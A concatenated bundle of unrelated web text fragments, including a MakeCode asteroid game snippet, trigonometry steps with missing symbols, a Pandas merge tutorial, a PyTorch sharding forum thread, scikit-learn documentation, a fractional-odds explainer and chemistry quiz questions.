10);\nsetMotion(sprite);\n});\n\ngame.onUpdateInterval(1500, function () {\nsprites.create(sprites.space.spaceAsteroid0, SpriteKind.Asteroid);\n});\n\nfunction setMotion(asteroid: Sprite) {\nasteroid.vx = randint(-8, 8);\nasteroid.vy = randint(35, 20);\n}\n\nfunction setPosition(sprite: Sprite, edge: number) {\nsprite.x = randint(edge, screen.width - edge);\nsprite.y = 0;\n}\n}\n\nlet name: string = \"Captain \";" ]

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[ "# Trigonometry Examples\n\nFind the X and Y Intercepts f(x)=4sin(2x-pi)-1\nTo find the x-intercept, substitute in for and solve for .\nSolve the equation.\nRewrite the equation as .\nAdd to both sides of the equation.\nDivide each term by and simplify.\nDivide each term in by .\nCancel the common factor of .\nCancel the common factor.\nDivide by .\nTake the inverse sine of both sides of the equation to extract from inside the sine.\nEvaluate .\nMove all terms not containing to the right side of the equation.\nAdd to both sides of the equation.\nSimplify the right side of the equation.\nReplace with decimal approximation.\nDivide each term by and simplify.\nDivide each term in by .\nCancel the common factor of .\nCancel the common factor.\nDivide by .\nDivide by .\nThe sine function is positive in the first and second quadrants. To find the second solution, subtract the reference angle from to find the solution in the second quadrant.\nSimplify the expression to find the second solution.\nSubtract from .\nMove all terms not containing to the right side of the equation.\nAdd to both sides of the equation.\nSimplify the right side of the equation.\nReplace with decimal approximation.\nDivide each term by and simplify.\nDivide each term in by .\nCancel the common factor of .\nCancel the common factor.\nDivide by .\nDivide by .\nFind the period.\nThe period of the function can be calculated using .\nReplace with in the formula for period.\nSolve the equation.\nThe absolute value is the distance between a number and zero. The distance between and is .\nCancel the common factor of .\nCancel the common factor.\nDivide by .\nThe period of the function is so values will repeat every radians in both directions.\n, for any integer\n, for any integer\nTo find the y-intercept, substitute in for and solve for .\nSimplify .\nSimplify each term.\nMultiply by .\nSubtract from .\nApply the reference angle by finding the angle with equivalent trig values in the first quadrant.\nThe exact value of is .\nMultiply by .\nSubtract from .\nThese are the and intercepts of the equation .\nx-intercept: , for any integer\ny-intercept:" ]

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[ "## MATHICSE Technical Report : Analysis of stochastic gradient methods for PDE-constrained optimal control problems with uncertain parameters\n\nWe consider the numerical approximation of a risk-averse optimal control problem for an elliptic partial differential equation (PDE) with random coefficients. Specifically, the control function is a deterministic, dis- tributed forcing term that minimizes the expected mean squared distance between the state (i.e. solution to the PDE) and a target function, subject to a regularization for well posedness. For the numerical treatment of this risk-averse optimal control problem, we consider a Finite Element discretization of the underlying PDEs, a Monte Carlo sampling method, and gradient type iterations to obtain the approximate optimal control. We provide full error and complexity analysis of the proposed numerical schemes. In particular we compare the complexity of a fixed Monte Carlo gradient method, in which the Finite Element discretization and Monte Carlo sample are chosen initially and kept fixed over the gradient iterations, with a Stochastic Gradient method in which the expectation in the computation of the steepest descent direction is approximated by independent Monte Carlo estimators with small sample sizes and possibly varying Finite Element mesh sizes across iterations. We show in particular that the second strategy results in an improved computational complexity. The theoretical error estimates and complexity results are confirmed by our numerical experiments.\n\nYear:\nMar 09 2018\nPublisher:\nÉcublens, MATHICSE\nKeywords:\nNote:\nMATHICSE Technical Report Nr. 04.2018 March 2018\nLaboratories:\n\nNote: The status of this file is: Anyone" ]

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[ "# Concatenate, merge and join in Pandas\n\nIn this post I will show the different ways to join dataframes when we have data in several of them.\n\nPandas offers us three different types of functions to unite dataframes according to the functionality we want to obtain. Moreover, they are very similar to the database union such as SQL Server.\n\nThe most used functions in Pandas are:\n\n• Concatenate\n• Merge\n• Join\n\nTo understand the results of each one, we are going to create dataframes with some information about students and universities.\n\n``````df_people_1 = pd.DataFrame([('Peter', 24, 'Male', 3),\n('Phillip', 29, 'Male', 1)], None, ['Name', 'Age', 'Gender', 'University'])```\n\n```df_people_2 = pd.DataFrame([('Mabel', 18, 'Female', 1),\n('Bill', 25, 'Male', 2),\n('Corinne', 22, 'Female', 3)], None, ['Name', 'Age', 'Gender', 'University'])```\n\n```df_university = pd.DataFrame([(1,'Harvard University'),\n(2, 'Oxford University'),\n(3, 'Stanford University')], None, ['Id','University'])``````\n Name Age Gender University Peter 24 Male 3 Philip 29 Male 1\n###### People Dataframe (1)\n Name Age Gender University Mabel 18 Female 1 Bill 25 Male 2 Corinne 22 Female 3\n###### People Dataframe (2)\n Id University 1 Harvard University 2 Oxford University 3 Stanford University\n\n## Concatenate in Pandas\n\nUsing concatenate, you can unite two, or more, dataframes without considering their columns this is because is the simplest function.\nTo concatenate, you need to add all the dataframes in a list and use the concat() function, being able to expand the X or Y axis.\n\n``pd.concat([df_people_1, df_people_2, df_university])``\n\nNormally, concat() is used to unite dataframes that have the same format and that have been collected from different sources. However, to unite dataframes with different formats but which have some field in common, merge is the best option.\n\n## Merge in Pandas\n\nMerge allows us to unite different dataframes having as relation columns or rows. The relationship you want between the dataframes is assigned in the 'how' parameter and the column of each dataframe that looks for that relationship is passed in the 'left_on' and 'right_on' parameter (or in 'on' if it is called the same).\n\n### Inner Join", null, "###### Inner Join\n``df = pd.merge(df_people_1, df_university, how='inner', left_on='University', right_on='Id')``\n Name Age Gender University_x Id University_y Peter 24 Male 3 3 Stanford University Philip 29 Male 1 1 Harvard University\n\n### Left Join", null, "###### Left Join\n``df = pd.merge(df_people_1, df_university, how='left', left_on='University', right_on='Id')``\n Name Age Gender University_x Id University_y Peter 24 Male 3 3 Stanford University Philip 29 Male 1 1 Harvard University\n\n### Right Join", null, "###### Right Join\n``df = pd.merge(df_people_1, df_university, how='right', left_on='University', right_on='Id')``\n Name Age Gender University_x Id University_y Peter 24 Male 3 3 Stanford University Philip 29 Male 1 1 Harvard University - - - - 2 Oxford Univ\n\n### Outer Join\n\nThe operation of outer is the same as the concat in the X axis or just without collapse rows.", null, "###### Outer Join\n``df = pd.merge(df_people_1, df_university, how='outer', left_on='University', right_on='Id')``\n Name Age Gender University_x Id University_y Peter 24 Male 3 3 Stanford University Philip 29 Male 1 1 Harvard University - - - - 2 Oxford University\n\n### Join in Pandas\n\nThe operation of the join function is very similar to the merge function and the same relations can be made with both. But, some of the most relevant differences are;\n\n• Merge does by default an inner join and join does by default a left join.\n• Merge can join one or more columns of the second dataframe but join always joins via the index of the second dataframe.\n\n``df_people_1.join(df_university, how='outer', lsuffix='_left', rsuffix='_right')``\n Name Age Gender University_x Id University_y Peter 24 Male 3 3 Stanford University Philip 29 Male 1 1 Harvard University - - - - 2 Oxford University\n\n## In a few words\n\nAs we saw in the previous post about Pandas, this package allows us to manipulate data easily. And, to make an exploratory analysis, joining several dataframes that have data in common can help us enormously. For this reason, it is important to have a domain and understand what each type of join does because sometimes we may need to relate six, seven, or even more dataframes." ]

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[ "", null, "", null, "Christian López Espínola\n\nSoftware developer. Open source developer. IEEE member, Computer Chapter member. ITIL v2 Certified. Software Engineer.\n\n## 37\n\nVisto en Flicker, en el grupo de Múltiplos de 37:\n\nHere’s a simple trick, very similar to the trick for telling if a number is divisible by 9 (adding up the digits). If you can do some simple arithmetic in your head, you don’t even need a calculator!\n\nPART 1: NUMBERS UNDER 1000\n\nFor these, memory is your friend. There are only 27 numbers to remember, and there are also some really easy patterns that help you out.\n\nFirst of all, observe that 111, 222, 333, …, 999 are all multiples of 37. (How cool is that?) Toss in zero to that mix, and then throw in all the numbers you can get by adding or subtracting 37 to these. From 0 you get 37. From 111 you get 74 and 148. From 222 you get 185 and 259. From 333 you get 296 and 370. And so on.\n\nThat’s all of them!\n\nThere’s one more trick that can help: If you take any of the above numbers and rotate its digits, you get another one of these numbers. In other words, if you have a 3-digit number that you KNOW is a multiple, then you automatically know two more as well. Try it: Starting with 74 (but take it as a 3-digit number, 074), you get 740 (which is also 777 – 37) and 407 (which is 444 – 37). It’s like a backup plan for confirming your mathin’.\n\nPART 2: NUMBERS 1000 AND GREATER\n\n1. Divide the number up 3 digits at a time, starting from the right. If the last (leftmost) chunk has only 1 or 2 digits, that’s ok.\n2. Add up all the parts.\n3. Repeat the process until the sum is under 1000.\n4. Use the test in PART 1. If the sum is a multiple of 37, then so is the original number; and conversely, if the sum is not, then the original is not." ]

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[ "# Input and weights on different GPUs after 1 epoch when model sharding\n\nI have read posts about model sharding and have found really good examples.\nHowever, when I implemented it, at the 2nd epoch, I got the following error:\n\n``````RuntimeError: Expected tensor for argument #1 'input' to have the same device as tensor for argument #2 'weight'; but device 0 does not equal 1 (while checking arguments for cudnn_convolution)\n``````\n\nMy code is like:\n\n``````class MyModel(nn.Module):\ndef __init__(self, some_param):\nself.large_submodule1 = SubModel1(...)\nself.large_submodule2 = SubModel2(...)\n\nself.large_submodule1.cuda(0)\nself.large_submodule2.cuda(1)\n\ndef forward(self, x):\nx1, x2, cat = self.large_submodule1(x)\nx1 = x1.cuda(1)\nx2 = x2.cuda(1)\ncat = cat.cuda(1)\nout = self.large_submodule2(x1, x2, cat)\nreturn out.cuda(0) # because the ground truth is saved at cuda(0)\n\nclass SubModel1(nn.Module):\ndef __init__(self, some_param):\nself.conv1 = ...\nself.conv2 = ...\nself.sigmoid =\n\ndef forward(self, x):\nx1 = self.conv1(x)\nx2 = self.conv2(x1)\ncat = torch.cat((x1, x2), dim=1)\nreturn x1, x2, cat\n\nclass SubModel2(nn.Module):\ndef __init__(self, some_param):\nself.conv1 = ...\nself.conv2 = ...\nself.sigmoid =\n\ndef forward(self, x1, x2, cat):\nx1 = self.conv1(x1)\nx2 = self.conv2(x2)\nout = torch.cat((x1, x2, cat), dim=1)\nreturn out\n``````\n\nIt worked at the 1st epoch, but throwed the above error at the 2nd epoch.\nI’ve read this issue about a similar error, but I didn’t use DataParallel and my batch size was 1.\n\nDid you call `to()` on the model after the first epoch, e.g. in your validation loop?\nCould you post a code snippet to reproduce this issue?\n\nOh yes. Thank you for your reply! I re-checked the main function and found that my model was moved to CPU to save checkpoints, and then it was moved to one GPU as a whole.\nNow after every saving operation I change the device of each submodule. It worked for 1 batch, but when I further utilized DataParallel, as your post suggested, it throwed the following error:\n\n``````RuntimeError: module must have its parameters and buffers on device cuda:0 (device_ids) but found one of them on device: cuda:1\n``````\n\nMy code now is like:\n\n``````class MyModel(nn.Module):\ndef __init__(self, some_param):\nself.large_submodule1 = SubModel1(...)\nself.large_submodule2 = SubModel2(...)\n\nif len(gpu_ids) == 2:\nself.large_submodule1.cuda(0)\nself.large_submodule2.cuda(1)\nelif len(gpu_ids) == 4:\nself.large_submodule1 = nn.DataParallel(self.large_submodule1, device_ids=[0, 1]).to('cuda:0')\nself.large_submodule2 = nn.DataParallel(self.large_submodule2, device_ids=[2, 3]).to('cuda:2')\n\ndef forward(self, x):\nx1, x2, cat = self.large_submodule1(x) # error occurs here\ndevice = x1.device.index # don't know if there's a better way to do this\nx1 = x1.cuda(device+2)\nx2 = x2.cuda(device+2)\ncat = cat.cuda(device+2)\nout = self.large_submodule2(x1, x2, cat)\nreturn out.cuda(device)\n\nclass Seg(BaseModel)\ndef initialize(self, opts, **kwargs):\nself.net = MyModel(some_param)\ndef save_network(self, path):\ntorch.save(self.net.cpu().state_dict(), path+'/model.pth')\nif len(gpu_ids) == 2:\nself.net.large_submodule1.cuda(0)\nself.net.large_submodule2.cuda(1)\nelif len(gpu_ids) == 4:\nself.net.large_submodule1 = nn.DataParallel(self.net.large_submodule1, device_ids=[0, 1]).to('cuda:0')\nself.net.large_submodule2 = nn.DataParallel(self.net.large_submodule2, device_ids=[2, 3]).to('cuda:2')\n``````\n\nNow if I use 2 GPUs it works fine. But if I use 4 GPUs, after saving a checkpoint, it throws the above error at the next epoch. Could you help me with this? Many thanks!\n\nI figured it out. It should be:\n\n`````` self.net.large_submodule1 = self.net.large_submodule1.to('cuda:0')\nself.net.large_submodule2 = self.net.large_submodule2.to('cuda:2')\n``````" ]

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[ "# How Do You Graph a Square Root Function Using a Table?\n\n### Note:\n\nMaking a table of values is a useful way to graph a square root function. Just remember to choose x-values for which the function is defined! Watch the tutorial to find out more.\n\n### Keywords:\n\n• Square Root Function\n• Square Root Function Graph\n• Square Root Graph\n• Graph\n• Square Root Function Table" ]

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[ "# `sklearn.linear_model`.SGDRegressor¶\n\nclass `sklearn.linear_model.``SGDRegressor`(loss=’squared_loss’, penalty=’l2’, alpha=0.0001, l1_ratio=0.15, fit_intercept=True, max_iter=None, tol=None, shuffle=True, verbose=0, epsilon=0.1, random_state=None, learning_rate=’invscaling’, eta0=0.01, power_t=0.25, warm_start=False, average=False, n_iter=None)[source]\n\nLinear model fitted by minimizing a regularized empirical loss with SGD\n\nSGD stands for Stochastic Gradient Descent: the gradient of the loss is estimated each sample at a time and the model is updated along the way with a decreasing strength schedule (aka learning rate).\n\nThe regularizer is a penalty added to the loss function that shrinks model parameters towards the zero vector using either the squared euclidean norm L2 or the absolute norm L1 or a combination of both (Elastic Net). If the parameter update crosses the 0.0 value because of the regularizer, the update is truncated to 0.0 to allow for learning sparse models and achieve online feature selection.\n\nThis implementation works with data represented as dense numpy arrays of floating point values for the features.\n\nRead more in the User Guide.\n\nParameters: loss : str, default: ‘squared_loss’ The loss function to be used. The possible values are ‘squared_loss’, ‘huber’, ‘epsilon_insensitive’, or ‘squared_epsilon_insensitive’ The ‘squared_loss’ refers to the ordinary least squares fit. ‘huber’ modifies ‘squared_loss’ to focus less on getting outliers correct by switching from squared to linear loss past a distance of epsilon. ‘epsilon_insensitive’ ignores errors less than epsilon and is linear past that; this is the loss function used in SVR. ‘squared_epsilon_insensitive’ is the same but becomes squared loss past a tolerance of epsilon. penalty : str, ‘none’, ‘l2’, ‘l1’, or ‘elasticnet’ The penalty (aka regularization term) to be used. Defaults to ‘l2’ which is the standard regularizer for linear SVM models. ‘l1’ and ‘elasticnet’ might bring sparsity to the model (feature selection) not achievable with ‘l2’. alpha : float Constant that multiplies the regularization term. Defaults to 0.0001 Also used to compute learning_rate when set to ‘optimal’. l1_ratio : float The Elastic Net mixing parameter, with 0 <= l1_ratio <= 1. l1_ratio=0 corresponds to L2 penalty, l1_ratio=1 to L1. Defaults to 0.15. fit_intercept : bool Whether the intercept should be estimated or not. If False, the data is assumed to be already centered. Defaults to True. max_iter : int, optional The maximum number of passes over the training data (aka epochs). It only impacts the behavior in the `fit` method, and not the partial_fit. Defaults to 5. Defaults to 1000 from 0.21, or if tol is not None. New in version 0.19. tol : float or None, optional The stopping criterion. If it is not None, the iterations will stop when (loss > previous_loss - tol). Defaults to None. Defaults to 1e-3 from 0.21. New in version 0.19. shuffle : bool, optional Whether or not the training data should be shuffled after each epoch. Defaults to True. verbose : integer, optional The verbosity level. epsilon : float Epsilon in the epsilon-insensitive loss functions; only if loss is ‘huber’, ‘epsilon_insensitive’, or ‘squared_epsilon_insensitive’. For ‘huber’, determines the threshold at which it becomes less important to get the prediction exactly right. For epsilon-insensitive, any differences between the current prediction and the correct label are ignored if they are less than this threshold. random_state : int, RandomState instance or None, optional (default=None) The seed of the pseudo random number generator to use when shuffling the data. If int, random_state is the seed used by the random number generator; If RandomState instance, random_state is the random number generator; If None, the random number generator is the RandomState instance used by np.random. learning_rate : string, optional The learning rate schedule: ‘constant’: eta = eta0 ‘optimal’: eta = 1.0 / (alpha * (t + t0)) [default] ‘invscaling’: eta = eta0 / pow(t, power_t) where t0 is chosen by a heuristic proposed by Leon Bottou. eta0 : double, optional The initial learning rate [default 0.01]. power_t : double, optional The exponent for inverse scaling learning rate [default 0.25]. warm_start : bool, optional When set to True, reuse the solution of the previous call to fit as initialization, otherwise, just erase the previous solution. average : bool or int, optional When set to True, computes the averaged SGD weights and stores the result in the `coef_` attribute. If set to an int greater than 1, averaging will begin once the total number of samples seen reaches average. So `average=10` will begin averaging after seeing 10 samples. n_iter : int, optional The number of passes over the training data (aka epochs). Defaults to None. Deprecated, will be removed in 0.21. Changed in version 0.19: Deprecated coef_ : array, shape (n_features,) Weights assigned to the features. intercept_ : array, shape (1,) The intercept term. average_coef_ : array, shape (n_features,) Averaged weights assigned to the features. average_intercept_ : array, shape (1,) The averaged intercept term. n_iter_ : int The actual number of iterations to reach the stopping criterion.\n\nExamples\n\n```>>> import numpy as np\n>>> from sklearn import linear_model\n>>> n_samples, n_features = 10, 5\n>>> np.random.seed(0)\n>>> y = np.random.randn(n_samples)\n>>> X = np.random.randn(n_samples, n_features)\n>>> clf = linear_model.SGDRegressor()\n>>> clf.fit(X, y)\n...\nSGDRegressor(alpha=0.0001, average=False, epsilon=0.1, eta0=0.01,\nfit_intercept=True, l1_ratio=0.15, learning_rate='invscaling',\nloss='squared_loss', max_iter=None, n_iter=None, penalty='l2',\npower_t=0.25, random_state=None, shuffle=True, tol=None,\nverbose=0, warm_start=False)\n```\n\nMethods\n\n `densify`() Convert coefficient matrix to dense array format. `fit`(X, y[, coef_init, intercept_init, …]) Fit linear model with Stochastic Gradient Descent. `get_params`([deep]) Get parameters for this estimator. `partial_fit`(X, y[, sample_weight]) Fit linear model with Stochastic Gradient Descent. `predict`(X) Predict using the linear model `score`(X, y[, sample_weight]) Returns the coefficient of determination R^2 of the prediction. `set_params`(*args, **kwargs) `sparsify`() Convert coefficient matrix to sparse format.\n`__init__`(loss=’squared_loss’, penalty=’l2’, alpha=0.0001, l1_ratio=0.15, fit_intercept=True, max_iter=None, tol=None, shuffle=True, verbose=0, epsilon=0.1, random_state=None, learning_rate=’invscaling’, eta0=0.01, power_t=0.25, warm_start=False, average=False, n_iter=None)[source]\n`densify`()[source]\n\nConvert coefficient matrix to dense array format.\n\nConverts the `coef_` member (back) to a numpy.ndarray. This is the default format of `coef_` and is required for fitting, so calling this method is only required on models that have previously been sparsified; otherwise, it is a no-op.\n\nReturns: self : estimator\n`fit`(X, y, coef_init=None, intercept_init=None, sample_weight=None)[source]\n\nFit linear model with Stochastic Gradient Descent.\n\nParameters: X : {array-like, sparse matrix}, shape (n_samples, n_features) Training data y : numpy array, shape (n_samples,) Target values coef_init : array, shape (n_features,) The initial coefficients to warm-start the optimization. intercept_init : array, shape (1,) The initial intercept to warm-start the optimization. sample_weight : array-like, shape (n_samples,), optional Weights applied to individual samples (1. for unweighted). self : returns an instance of self.\n`get_params`(deep=True)[source]\n\nGet parameters for this estimator.\n\nParameters: deep : boolean, optional If True, will return the parameters for this estimator and contained subobjects that are estimators. params : mapping of string to any Parameter names mapped to their values.\n`partial_fit`(X, y, sample_weight=None)[source]\n\nFit linear model with Stochastic Gradient Descent.\n\nParameters: X : {array-like, sparse matrix}, shape (n_samples, n_features) Subset of training data y : numpy array of shape (n_samples,) Subset of target values sample_weight : array-like, shape (n_samples,), optional Weights applied to individual samples. If not provided, uniform weights are assumed. self : returns an instance of self.\n`predict`(X)[source]\n\nPredict using the linear model\n\nParameters: X : {array-like, sparse matrix}, shape (n_samples, n_features) array, shape (n_samples,) : Predicted target values per element in X.\n`score`(X, y, sample_weight=None)[source]\n\nReturns the coefficient of determination R^2 of the prediction.\n\nThe coefficient R^2 is defined as (1 - u/v), where u is the residual sum of squares ((y_true - y_pred) ** 2).sum() and v is the total sum of squares ((y_true - y_true.mean()) ** 2).sum(). The best possible score is 1.0 and it can be negative (because the model can be arbitrarily worse). A constant model that always predicts the expected value of y, disregarding the input features, would get a R^2 score of 0.0.\n\nParameters: X : array-like, shape = (n_samples, n_features) Test samples. y : array-like, shape = (n_samples) or (n_samples, n_outputs) True values for X. sample_weight : array-like, shape = [n_samples], optional Sample weights. score : float R^2 of self.predict(X) wrt. y.\n`sparsify`()[source]\n\nConvert coefficient matrix to sparse format.\n\nConverts the `coef_` member to a scipy.sparse matrix, which for L1-regularized models can be much more memory- and storage-efficient than the usual numpy.ndarray representation.\n\nThe `intercept_` member is not converted.\n\nReturns: self : estimator\n\nNotes\n\nFor non-sparse models, i.e. when there are not many zeros in `coef_`, this may actually increase memory usage, so use this method with care. A rule of thumb is that the number of zero elements, which can be computed with `(coef_ == 0).sum()`, must be more than 50% for this to provide significant benefits.\n\nAfter calling this method, further fitting with the partial_fit method (if any) will not work until you call densify.\n\n## Examples using `sklearn.linear_model.SGDRegressor`¶", null, "Prediction Latency" ]

[ null, "https://sklearn.org/_images/sphx_glr_plot_prediction_latency_thumb.png", null ]

[ "# Fractional odds\n\nFractional odds are odds expressed as fractions that specify the total amount you'll win if you win a bet, relative to the stake you placed.", null, "If the fractional odds for a selection are 4/1, for example, and you place £1 on a bet, you’ll be paid out £5 if you win. This is the £1 you staked plus winnings of £4.\n\nFractional odds are the format most widely used by bookmakers in the United Kingdom and Ireland. They may be expressed in different ways. For example, odds of four to one may be expressed in the following ways:\n\n• 4:1\n• 4-1\n• 4/1.\n\nThe format that uses the forward slash is the most widely used in the betting industry. Note that decimal odds, which express odds as decimal values instead of using fractions, include your stake in the returns they specify. So if you’re new to sports betting, don’t make the mistake of assuming that decimal odds offer higher payouts than equivalent fractional odds, which don’t include your stake.\n\n## How fractional odds work\n\nTo calculate the profit you’ll make on a winning bet, all you need to do is multiply your stake by the odds. The resulting number doesn’t include your stake, although this will be refunded along with your profits if you win a bet. You can calculate the total return from a fractional odds bet using this formula: Stake x Fractional odds = Winnings\n\nExample 1: Say you bet £100 on Manchester City winning the League Cup, at fractional odds of 4/1. If your bet wins, you’ll make a profit of 100 x 4/1, which equals £400. The total amount you’ll be paid out is this profit plus your stake of £100, giving a total return of £500.\n\nExample 2: You place a bet that’s not a nice round figure, at odds that aren’t quite so easy to multiply in your head. You bet £18 on a horse placing in the top three in a Newmarket race, at fractional odds of 9/5. If your bet wins, you’ll make a profit of 18 x 9/5. This equals £32.40. The total amount you’ll be paid out is £32.40 plus your stake of £18, giving a total return of £50.40.\n\nDon’t worry if you don’t have a calculator on hand – when you place a bet, your betting slip will tell you what you stand to win.\n\n## Why use fractional odds?\n\nFractional odds are the most widely used type of odds in England and Ireland, and are frequently quoted by tipsters and the press. Getting used to odds in this format may make it easier to understand advice and feedback you get from industry experts.\n\n## How fractional odds are set\n\nLike other odds, fractional odds aren’t pure expressions of probability because they also include adjustments that bookmakers make to ensure that they make a profit. However, fractional odds are close to the correct mathematical expressions of relative probability. They express probability as a ratio of the chances of an outcome not occurring to the chances that the outcome will occur. For more information, see how odds are set." ]

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[ "# If A= <2 ,1 ,-4 > and B= <3 ,2 ,7 >, what is A*B -||A|| ||B||?\n\nMay 7, 2017\n\n$A \\cdot B - | \\setminus | A | \\setminus | | \\setminus | B | \\setminus |$ is asking for the dot product of A and B and the product of the magnitudes of vectors A and B.\n\nFor the dot product, we find the sum of the products for the x, y, and z terms, so we find that:\n$A \\cdot B = \\left(2 \\cdot 3\\right) + \\left(1 \\cdot 2\\right) + \\left(- 4 \\cdot 7\\right) = 6 + 2 - 28 = - 20$\n\nFor the magnitudes, we use the distance formula for 3D vectors:\n$d = \\sqrt{{\\left({x}_{2} - {x}_{1}\\right)}^{2} + {\\left({y}_{2} - {y}_{1}\\right)}^{2} + {\\left({z}_{2} - {z}_{1}\\right)}^{2}}$\nor in this case, since the vectors already give the values of ${x}_{2} - {x}_{1} , {y}_{2} - {y}_{1} , {z}_{2} - {z}_{1}$, we simply plug in the given values:\n$| \\setminus | A | \\setminus | = \\sqrt{{2}^{2} + {1}^{2} + {\\left(- 4\\right)}^{2}} = \\sqrt{21}$\n$| \\setminus | B | \\setminus | = \\sqrt{{3}^{2} + {2}^{2} + {7}^{2}} = \\sqrt{62}$\n\nBy putting all the parts together, we get:\n$A \\cdot B - | \\setminus | A | \\setminus | | \\setminus | B | \\setminus | = - 20 - \\sqrt{21} \\cdot \\sqrt{62} = - 20 - \\sqrt{21 \\cdot 62} = - 20 - \\sqrt{1302} \\approx - 56.083$" ]

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[ "Home | Menu | Get Involved | Contact webmaster", null, "", null, "", null, "", null, "", null, "0 / 12\n\n# Number 20067242\n\ntwenty million sixty seven thousand two hundred forty two\n\n### Properties of the number 20067242\n\n Factorization 2 * 13 * 17 * 83 * 547 Divisors 1, 2, 13, 17, 26, 34, 83, 166, 221, 442, 547, 1079, 1094, 1411, 2158, 2822, 7111, 9299, 14222, 18343, 18598, 36686, 45401, 90802, 120887, 241774, 590213, 771817, 1180426, 1543634, 10033621, 20067242 Count of divisors 32 Sum of divisors 34800192 Previous integer 20067241 Next integer 20067243 Is prime? NO Previous prime 20067241 Next prime 20067251 20067242nd prime 374911919 Is a Fibonacci number? NO Is a Bell number? NO Is a Catalan number? NO Is a factorial? NO Is a regular number? NO Is a perfect number? NO Polygonal number (s < 11)? NO Binary 1001100100011001110101010 Octal 114431652 Duodecimal 6878ba2 Hexadecimal 13233aa Square 402694201486564 Square root 4479.6475307774 Natural logarithm 16.814599292296 Decimal logarithm 7.3024876880586 Sine -0.99856703071631 Cosine 0.053515279747163 Tangent -18.659475115035\nNumber 20067242 is pronounced twenty million sixty seven thousand two hundred forty two. Number 20067242 is a composite number. Factors of 20067242 are 2 * 13 * 17 * 83 * 547. Number 20067242 has 32 divisors: 1, 2, 13, 17, 26, 34, 83, 166, 221, 442, 547, 1079, 1094, 1411, 2158, 2822, 7111, 9299, 14222, 18343, 18598, 36686, 45401, 90802, 120887, 241774, 590213, 771817, 1180426, 1543634, 10033621, 20067242. Sum of the divisors is 34800192. Number 20067242 is not a Fibonacci number. It is not a Bell number. Number 20067242 is not a Catalan number. Number 20067242 is not a regular number (Hamming number). It is a not factorial of any number. Number 20067242 is a deficient number and therefore is not a perfect number. Binary numeral for number 20067242 is 1001100100011001110101010. Octal numeral is 114431652. Duodecimal value is 6878ba2. Hexadecimal representation is 13233aa. Square of the number 20067242 is 402694201486564. Square root of the number 20067242 is 4479.6475307774. Natural logarithm of 20067242 is 16.814599292296 Decimal logarithm of the number 20067242 is 7.3024876880586 Sine of 20067242 is -0.99856703071631. Cosine of the number 20067242 is 0.053515279747163. Tangent of the number 20067242 is -18.659475115035\n\n### Number properties\n\n0 / 12\nExamples: 3628800, 9876543211, 12586269025" ]

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[ "# Assignments Class 12 Chemistry Solutions\n\nPlease refer to Assignments Class 12 Chemistry Solutions Chapter 2 with solved questions and answers. We have provided Class 12 Chemistry Assignments for all chapters on our website. These problems and solutions for Chapter 2 Solutions Class 12 Chemistry have been prepared as per the latest syllabus and books issued for the current academic year. Learn these solved important questions to get more marks in your class tests and examinations.\n\n## Solutions Assignments Class 12 Chemistry\n\nQuestion. Which of the following units is useful in relating concentration of solution with its vapour pressure?\n(A) Mole fraction\n(B) Parts per million\n(C) Mass percentage\n(D) Molality\n\nA\n\nQuestion. When 1 mole of benzene is mixed with 1 mole of toluene the vapour will contain: (Given: vapour of benzene = 12.8kPa and vapour pressure of toluene = 3.85 kPa).\n(A) equal amount of benzene and toluene as it forms an ideal solution\n(B) unequal amount of benzene and toluene as it forms a non ideal solution\n(C) higher percentage of benzene\n(D) higher percentage of toluene\n\nC\n\nQuestion. KH value for Ar(g), CO2(g), HCHO(g) and CH4(g) are 4.039, 1.67, 1.83 × 10–5, and 0.143, respectively.Arrange these gases in the order of their increasing solubility\n(A) HCHO < CH4 < CO2 < Ar\n(B) HCHO < CO2 < CH4 < Ar\n(C) Ar < CO2 < CH4 < HCHO\n(D) Ar < CH4 < CO2 < HCHO\n\nC\n\nQuestion. A beaker contains a solution of substance ‘A’.Precipitation of substance ‘A’ takes place when small amount of ‘A’ is added to the solution. The solution is _________.\n(A) saturated\n(B) supersaturated\n(C) unsaturated\n(D) concentrated\n\nB\n\nQuestion. At equilibrium the rate of dissolution of a solid solute in a volatile liquid solvent is __________.\n(A) less than the rate of crystallisation\n(B) greater than the rate of crystallisation\n(C) equal to the rate of crystallisation\n(D) zero\n\nC\n\nQuestion.  Which of the following solutions in water has highest boiling point?\n(A) 1 M NaCl\n(B) 1 M MgCl2\n(C) 1 M urea\n(C) 1 M glucose\n\nB\n\nQuestion. Which of the following aqueous solutions should have the highest boiling point?\n(A) 1.0 M NaOH\n(B) 1.0 M Na2SO4\n(C) 1.0 M NH4NO3\n(D) 1.0 M KNO3\n\nB\n\nQuestion. A molar solution is one that contains one mole of a solute in\n(A) 1000 g of the solvent\n(B) one litre of the solvent\n(C) one litre of the solution\n(D) 22.4 litre of the solution\n\nC\n\nQuestion. In which mode of expression, the concentration of a solution remains independent of temperature?\n(A) Molarity\n(B) Normality\n(C) Formality\n(D) Molality\n\nD\n\nQuestion. Value of Henry’s constant KH is ________________.\n(A) Increases with increase in temperature.\n(B) Decreases with increase in temperature\n(C) Remains constant\n(D) First increases then decreases.\n\nA\n\nQuestion. For a dilute solution, Raoult’s law states that\n(A) The lowering of vapour pressure is equal to the mole fraction of solute.\n(B) The relative lowering of vapour pressure is equal to the mole fraction of solute.\n(C) The relative lowering of vapour pressure is proportional to the amount of solute in solution.\n(D) The vapour pressure of the solution is equal to the mole fraction of the solute.\n\nB\n\nQuestion. Relative lowering of vapour pressure is a colligative property because _________ .\n(A) It depends on number of particles of electrolyte solute in solution and does not depend on the nature of the solute particles.\n(B) It depends on the concentration of a non electrolyte solute in solution as well as on the nature of the solute molecules.\n(C) Is depends on the concentration of an electrolyte or non-electrolyte solute is solution as well on the nature of solute molecules.\n(D) None of the above\n\nA\n\nQuestion. The unit of ebullioscopic constant is:\n(A) K kg mol-1 or K (molality)-1\n(B) mol kg-1 K-1 or K-1 (molality)\n(C) kg mol-1 K-1 or K- (molality)-1\n(D) K mol kg-1 or K (molality)\n\nA\n\nQuestion. The increase in the temperature of the aqueous solution will result in its\n(A) Molarity to increase\n(B) Molarity to decrease\n(C) Mole fraction to increase\n(D) Mass % to increase\n\nB\n\nQuestion. Considering the formation, breaking and strength of hydrogen bond, predict which of the following mixtures will show a positive deviation from Raoult’s law?\n(A) Methanol and acetone.\n(B) Chloroform and acetone.\n(C) Nitric acid and water.\n(D) Phenol and aniline.\n\nA\n\nQuestion. If two liquids A and B form minimum boiling azeotrope at some specific composition, then.\n(A) A–B interactions are stronger than those between A–A or B–B.\n(B) vapour pressure of solution increases because more number of molecules of liquids A and B can escape from the solution.\n(C) vapour pressure of solution decreases because less 